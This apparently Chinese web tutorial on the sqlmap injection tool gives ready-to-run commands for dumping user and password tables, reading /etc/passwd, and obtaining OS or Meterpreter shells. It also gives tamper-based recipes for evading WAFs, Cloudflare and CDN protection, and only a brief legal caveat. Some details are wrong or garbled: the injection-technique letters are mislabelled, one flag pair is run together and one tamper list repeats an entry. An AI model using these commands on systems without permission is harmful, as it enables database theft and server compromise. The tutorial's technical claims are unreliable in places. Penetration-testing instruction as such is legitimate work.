sqlmap 是一款开源的自动化 SQL 注入工具,广泛用于渗透测试和安全评估,它支持多种数据库类型,能够自动发现和利用 SQL 注入漏洞,获取数据库信息、执行系统命令甚至完全控制目标服务器,以下是关于 sqlmap 执行命令的详细说明,包括常用参数、实际应用场景及注意事项。

sqlmap 基础命令结构
sqlmap 的基本命令格式为:sqlmap [选项] 目标URL,目标 URL 可以是 HTTP/HTTPS 协议的地址,也可以是 POST 请求的数据包。
sqlmap -u "http://example.com/page.php?id=1"
上述命令会对 id 参数进行 SQL 注入检测,若目标需要登录或包含复杂请求,可通过 -p 指定参数,或使用 -r 加载请求文件(如 Burp Suite 导出的 HTTP 请求)。
常用参数详解
-
目标指定
-u或--url:直接指定目标 URL,如-u "http://test.com/vuln.php?id=1"。-l:从日志文件(如 Burp 日志)加载目标。-r:从文本文件加载 HTTP 请求(需包含完整请求头)。-g:通过 Google 搜索结果获取目标(需配合--batch自动确认)。
-
请求参数控制
(图片来源网络,侵删)-p:指定测试的参数名,如-p "id,username"(避免扫描无关参数)。--data:指定 POST 请求数据,如--data "id=1&submit=submit"。--cookie:添加 Cookie 认证,如--cookie "PHPSESSID=abc123"。--user-agent:自定义 User-Agent,如--user-agent "Mozilla/5.0"。
-
注入技术选择
--technique:指定注入技术,支持B(Boolean盲注)、Q(时间盲注)、U(Union查询)、T(错误型)、E(堆叠查询)等,如--technique=BEU。--level:设置测试级别(1-5,默认1),级别越高测试越全面(如测试 HTTP 头注入)。--risk:设置风险等级(1-3,默认1),控制 payload 的破坏性。
-
数据库指纹识别
-f或--fingerprint:主动识别数据库类型(如 MySQL、Oracle、PostgreSQL)。-b或--banner:获取数据库版本信息。
-
数据获取
--current-user:获取当前数据库用户。--current-db:获取当前数据库名。--dbs:列出所有数据库。-D--tables:指定数据库的表名,如-D testdb --tables。-T--columns:指定表的列名,如-T users --columns。-C--dump:dump 数据,如-C "username,password" -D testdb -T users --dump。
-
操作系统交互
(图片来源网络,侵删)--os-shell:尝试获取目标服务器的 OS Shell(需满足特定条件)。--os-pwn:获取图形化 Shell(如 Meterpreter)。--file-read:读取服务器文件,如--file-read "/etc/passwd"。--file-write:上传文件到服务器,如--file-write "local.txt" --file-dest "/remote.txt"。
-
其他实用参数
--batch:自动确认所有提示(适合非交互式使用)。--tamper:对 payload 进行编码绕过 WAF,如--tamper "space2comment,randomcase"。--proxy:设置代理,如--proxy "http://127.0.0.1:8080"。--threads:多线程加速,如--threads=10。
实际应用场景示例
-
检测 GET 请求注入
sqlmap -u "http://site.com/search.php?id=1" --batch
自动检测
id参数是否存在注入,并尝试获取数据库信息。 -
POST 请求注入
sqlmap -u "http://site.com/login.php" --data="username=admin&password=test" --level=3
对 POST 数据中的
username和password参数进行高级别检测。 -
绕过 WAF
sqlmap -u "http://site.com/index.php?id=1" --tamper "between,randomcase,charencode"
使用多个编码技术混淆 payload,绕过 Web 应用防火墙。
-
批量扫描
cat targets.txt | sqlmap -m -
从文件中读取多个目标 URL 进行批量扫描。
注意事项
- 法律与道德:sqlmap 仅授权用于合法渗透测试,未经授权使用可能违反法律。
- 目标影响:注入操作可能导致数据库损坏或服务中断,需在测试环境中使用。
- WAF 绕过:现代 WAF 可能拦截 sqlmap 请求,需结合
--tamper或调整请求头。 - 性能优化:通过
--threads和--delay控制请求频率,避免触发防护机制。
相关操作对比表
| 操作类型 | 命令示例 | 说明 |
|---|---|---|
| 检测注入点 | sqlmap -u "http://test.com?id=1" |
自动检测参数是否存在 SQL 注入漏洞。 |
| 获取数据库版本 | sqlmap -u "http://test.com?id=1" --banner |
显示目标数据库的版本信息。 |
| 列出所有数据库 | sqlmap -u "http://test.com?id=1" --dbs |
输出目标服务器中的所有数据库名称。 |
| Dump 特定表数据 | sqlmap -u "http://test.com?id=1" -D testdb -T users --dump |
导出 testdb 数据库中 users 表的所有数据。 |
| 读取服务器文件 | sqlmap -u "http://test.com?id=1" --file-read "/etc/passwd" |
尝试读取目标服务器的 /etc/passwd 文件。 |
| 获取 OS Shell | sqlmap -u "http://test.com?id=1" --os-shell |
尝试在目标服务器上执行系统命令。 |
相关问答FAQs
Q1: sqlmap 提示 "all parameters appear to not injectable,what's wrong?" 如何解决?
A1: 此错误通常表示未检测到注入点,可能原因包括:
- 参数名错误:检查
-p指定的参数是否正确。 - 数据库类型不匹配:使用
--fingerprint确认数据库类型。 - WAF 阻挡:尝试
--tamper参数或调整请求头(如--user-agent)。 - 请求格式问题:使用
-r加载完整请求文件确保上下文正确。
Q2: 如何利用 sqlmap 绕过 Cloudflare 或其他 CDN 的防护?
A2: 绕过 CDN 防护需结合以下方法:
- 降低检测频率:使用
--delay参数增加请求间隔,如--delay=5。 - 伪造真实请求:通过
--proxy代理转发请求,或使用-r加载包含真实浏览器的请求头(如Referer、Accept-Language)。 - 随机化参数:使用
--tamper "randomcase,randomcase"混淆 payload。 - 手动验证:先通过手动注入确认漏洞点,再用 sqlmap 的
--session保存会话避免重复检测。
